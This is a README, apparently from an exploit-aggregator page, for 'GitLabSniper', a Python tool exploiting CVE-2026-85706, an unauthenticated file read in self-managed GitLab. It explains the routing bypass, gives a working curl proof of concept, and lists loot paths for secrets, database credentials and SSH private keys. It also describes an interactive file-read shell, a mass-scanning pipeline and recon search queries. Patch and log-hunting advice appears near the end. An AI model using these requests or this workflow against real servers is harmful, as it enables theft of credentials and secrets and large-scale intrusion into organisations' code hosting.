## https://sploitus.com/exploit?id=CB41C932-3F63-547C-8278-6162A20CA9E3
GitLabSniper
CVE-2026-85706 — GitLab CE/EE unauthenticated arbitrary file read
detect · public project enum · loot · interactive shell · subfinder/httpx pipeline
---
**Author:** Yunus Emre Öztaş (**mitsec**)
**X:** [x.com/ynsmroztas](https://x.com/ynsmroztas)
**GitHub:** [github.com/ynsmroztas](https://github.com/ynsmroztas)
**Site:** [ynsmroztas.github.io](https://ynsmroztas.github.io)
**Mail:** `m.i.t@mit.tc`
Use only on systems you own or are explicitly authorized to test (bug bounty / VDP / written contract).
---
## What this is
`GitLabSniper.py` is a single-file Python scanner/exploit for **CVE-2026-85706**: an unauthenticated local file read in self-managed GitLab Community Edition and Enterprise Edition.
It does **not** stop at “version looks affected”. It fires the Workhorse parser-differential bypass, classifies the Rails response, and only prints **FILE LEAK** when the 400 body contains the file bytes inside `invalid %-encoding (...)`.
| Band | Versions |
|---|---|
| Affected | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Patched | **19.1.8** / **19.2.6** / **19.3.2** (2026-09-10) |
| Not in scope | gitlab.com · GitLab Dedicated |
---
## How the bug works
Three repository endpoints sit behind Workhorse `requestBodyUploader`:
- `POST /api/v4/projects/:id/repository/commits`
- `POST /api/v4/projects/:id/repository/files/:file_path`
- `PUT /api/v4/projects/:id/repository/files/:file_path`
Rails takes the raw `file.path` field and runs `File.open` **before** `authenticate!`. `require_gitlab_workhorse!` is not a real gate here: Workhorse already stamps a valid `Gitlab-Workhorse-Api-Request` JWT on anything it proxies.
Workhorse was supposed to rewrite the upload first. Its route regex matches **`EscapedPath()`** and a `path.Clean` clone that **never percent-decodes**. Puma **does** decode `%XX` before Grape routing.
```
Attacker
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← trailing slash also slips
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse regex sees "%63ommits" / "commits/" → MISS (no rewrite)
│
▼
Puma decodes %63 → commits → ROUTES to Rails
│
▼
Rails File.open(params[:file][:path]) → BEFORE auth
│
▼
Rack parse_nested_query(File.read(path))
stray "%" that is not %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding ()
```
`file=` blank satisfies `requires :file, WorkhorseFile` (blank → nil). The leak channel is the **urlencoded** branch. JSON/`Oj` does not echo file bytes the same way — the tool always sends `Content-Type=application/x-www-form-urlencoded`.
`//`, `/./`, `%2F` and `;` do **not** bypass: `path.Clean` normalizes the first two and Puma rejects `%2F`.
The project id is **not** “which repo to steal files from”. `file.path` is an **absolute server path**. The id is only the URL piece that reaches the vulnerable controller.
| Endpoint | Project requirement |
|---|---|
| **files** (`%66iles`) | Any id often works — `File.open` is before project checks |
| **commits** (`%63ommits`, `commits/`, `commits.json`) | Needs a project an anonymous user can `read_code`. Otherwise `404 Project Not Found` |
That is why the tool enumerates `GET /api/v4/projects` and skips gated ids.
Confirmed leak requires this substring in the body:
```text
invalid %-encoding (
```
Files with no lone `%` may still be opened (`read-noecho` / later `branch is required`) but will **not** echo. That is an oracle, not a reportable dump.
---
## Features
- GitLab fingerprint (HTML / `x-gitlab-*` / sign-in) + version range when visible
- Public project enum (`GET /api/v4/projects`)
- Automatic pick of a non-gated project id (fallback `1..7`)
- Workhorse bypass matrix
- `%63ommits` · `%72epository` · `%66iles`
- trailing `/` · `.json`
- POST + PUT on files
- Response classifier: `leak` · `leak-fragment` · `read-noecho` · `missing` · `project-gate` · `rewrite` · `noroute`
- `--auto` loot list (hostname, passwd, `secrets.yml`, `gitlab-secrets.json`, `gitlab.rb`, `database.yml`, ssh keys, environ)
- Sticky working form after the first leak
- Interactive shell (`cat`, `loot`, `secrets`, `passwd`, `project `, `curl`)
- Pipeline: raw hosts, `httpx -sc -td -title`, `httpx -json`, ANSI stripped
- JSON / JSONL report (`-o`)
- Colorized HIT banner + ready-to-paste curl PoC
---
## Install
```bash
pip install requests
python3 GitLabSniper.py -h
```
Python 3.10+. No other deps.
---
## Usage
### Single host
```bash
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
```
### Interactive shell
```bash
python3 GitLabSniper.py -u https://gitlab.example.com --shell
```
```text
GitLabSniper@gitlab.example.com> help
GitLabSniper@gitlab.example.com> cat /etc/passwd
GitLabSniper@gitlab.example.com> secrets
GitLabSniper@gitlab.example.com> loot
GitLabSniper@gitlab.example.com> project 35
GitLabSniper@gitlab.example.com> curl /etc/gitlab/gitlab.rb
GitLabSniper@gitlab.example.com> exit
```
### Pipeline (subfinder + httpx)
```bash
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin is not a TTY → --pipe is implied
cat hosts.txt | python3 GitLabSniper.py --auto
```
Parser accepts:
- `https://gitlab.example.com`
- `https://gitlab.example.com [200] [GitLab] [nginx]`
- `httpx -json` objects (`url` / `status_code`)
- bare `host` and `host:port`
- skips `[0]` / timeout / empty rows
---
## Flags
| Flag | Meaning |
|---|---|
| `-u` / `-t` / `--target` | Single base URL |
| `--pipe` | Read targets from stdin |
| `-f` / `--list` | File of hosts |
| `--file` | One absolute path to read |
| `--auto` / `--loot` | High-value GitLab file list |
| `--shell` | Interactive file-read shell |
| `--project-id` | Force project id (default: enum + fallback) |
| `--max-projects` | Cap enum/fallback ids (default 8) |
| `--force` | Scan even if fingerprint is weak |
| `--threads` | Pipeline workers (default 8) |
| `--timeout` | Seconds (default 15) |
| `-o` | `hits.json` or `hits.jsonl` |
| `-q` | Quiet |
| `--no-banner` | No banner |
Exit codes: `0` leak · `1` oracle-only / no leak in pipe · `2` no usable signal.
---
## Verdicts
| Tag | Meaning | Report? |
|---|---|---|
| `leak` | `invalid %-encoding (` + file bytes | **Yes — confirmed** |
| `leak-fragment` | Partial echo | Maybe, attach body |
| `read-noecho` | 401 / `branch is required` after open, no `%` in file | Oracle only |
| `missing` | `local file not present` — bypass reached disk | Existence oracle |
| `project-gate` | `404 Project Not Found` | Try another public id |
| `rewrite` | Workhorse rewrote body (`Invalid json`) | This form is dead |
| `noroute` | Plain 404 | Patched or wrong path |
| `other` | 500 / leftover | Dump body before claiming |
Do not file a critical based on `read-noecho` alone.
---
## Default loot paths
```
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ
```
Highest impact when they echo: `secrets.yml`, `gitlab-secrets.json`, `database.yml` (`secret_key_base`, `otp_key_base`, DB password).
---
## Manual PoC (same request the tool emits)
```bash
curl -sk -X POST \
"https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
```
Vulnerable instance returns JSON similar to:
```json
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}
```
On some hosts `%63ommits` is 401 and **`/repository/commits/`** (trailing slash) is the form that leaks. The tool walks every variant.
---
## Recon helpers
```text
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"
```
Pair with `subfinder | httpx | GitLabSniper.py --pipe --auto`.
---
## Disclaimer
This repository is for authorized security testing and defensive validation after patching. You are responsible for scope.
If you operate a self-managed GitLab box in the affected range: upgrade to **19.1.8 / 19.2.6 / 19.3.2** now. Hunt access logs for `POST /api/v4/projects/*/repository/commits` with a `file.path` query parameter.
---
## Credits
Vulnerability reported by **s3ntago** via GitLab HackerOne.
Write-up and original PoC that this tool is built on:
**https://github.com/guneykabel/cve-2026-85706**
Thank you to [guneykabel](https://github.com/guneykabel) for publishing a clear classifier (`leak` / `missing` / `project-gate` / `rewrite`) and the Workhorse ↔ Puma differential explanation. GitLabSniper wraps that model with project enum, loot, shell and recon pipelines.
GitLab advisory / patches: CE/EE **19.1.8**, **19.2.6**, **19.3.2**.
---
## Author
**Yunus Emre Öztaş** · mitsec
- X — [x.com/ynsmroztas](https://x.com/ynsmroztas)
- GitHub — [github.com/ynsmroztas](https://github.com/ynsmroztas)
- Web — [ynsmroztas.github.io](https://ynsmroztas.github.io)
- Mail — `m.i.t@mit.tc`